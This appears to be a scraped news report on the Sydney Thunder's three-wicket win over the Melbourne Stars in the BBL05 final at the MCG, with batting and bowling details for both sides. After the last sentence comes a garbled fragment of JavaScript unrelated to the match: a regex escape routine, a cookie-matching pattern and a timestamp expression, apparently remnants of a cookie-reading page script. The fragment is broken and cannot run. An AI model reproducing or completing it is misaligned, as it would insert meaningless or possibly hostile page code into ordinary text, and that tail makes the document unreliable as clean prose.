The Sydney Thunder have beaten the Melbourne Stars by three wickets in a thrilling final at the MCG in front of 47, 600 fans to claim the BBL05 title.
Sydney won the toss and sent the Stars into bat, with Melbourne reaching 9-176 of their 20 overs, thanks largely to a superb knock from Englishman Kevin Pietersen.
The Stars lost Marcus Stoinis for just five in the second over, before Pietersen joined Luke Wright in the middle.
The English pair shared in a 44 run partnership before Wright was dismissed for 23 from 24 balls.
But Pietersen was just getting started. The former English Test star scored a blistering 74 from just 39 balls, with four fours and five sixes.
The Stars also had handy contributions from Hussey (21 from 14), Gulbis (16 from 11) and Zampa (15 from 10) late in the innings. The home side lost three wickets in the final over as they hunted quick runs.
In reply, the Thunder got of to an outstanding start, with Khawaja and Kallis sharing in an 86 run opening stand, before Kallis was caught for 28 off 27 balls.
But it was Khawaja who did most of the damage, as he continued his stunning form, scoring 70 from just 40 balls, with some simply breathtaking cricket strokes to help the Thunder to a run rate of over nine with six overs to go, with the required run rate just 7.5.
However, after he was dismissed hitting a full toss straight to Daniel Worrall off the bowling off captain David Hussey, the game all of a sudden became far tighter.
With the Thunder needing 35 off 28 balls, captain Mike Hussey was clean bowled by young spinner Adam Zampa, setting the game up for a tantalizing finish.
The very next over the Stars removed big hitting West Indian Andre Russell for 10 after he was caught behind from a Stoinis slower ball, with the Thunder losing 3-23 over a six a over period.
With 25 needed off the final 18 balls, some big hitting from Aiden Blizzard in the third last over left the Thunder just needing just 14 to win off 12 balls, before he well brilliantly run out by Michel Beer for 16 of seven balls.
However, there was almost time for a one last suprise, as Chris Green was then dismissed for eight runs off five balls, setting up a thrilling final over, with four runs needed and three wickets in hand.
But Ben Rohrer held his nerve, smashing a six with three balls to spare to guide the Thunder to the Big Bash title.
The win completes a stunning a turnaround, with the Thunder finishing second last in BBL04 and last in the first three seasons of the tournament. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
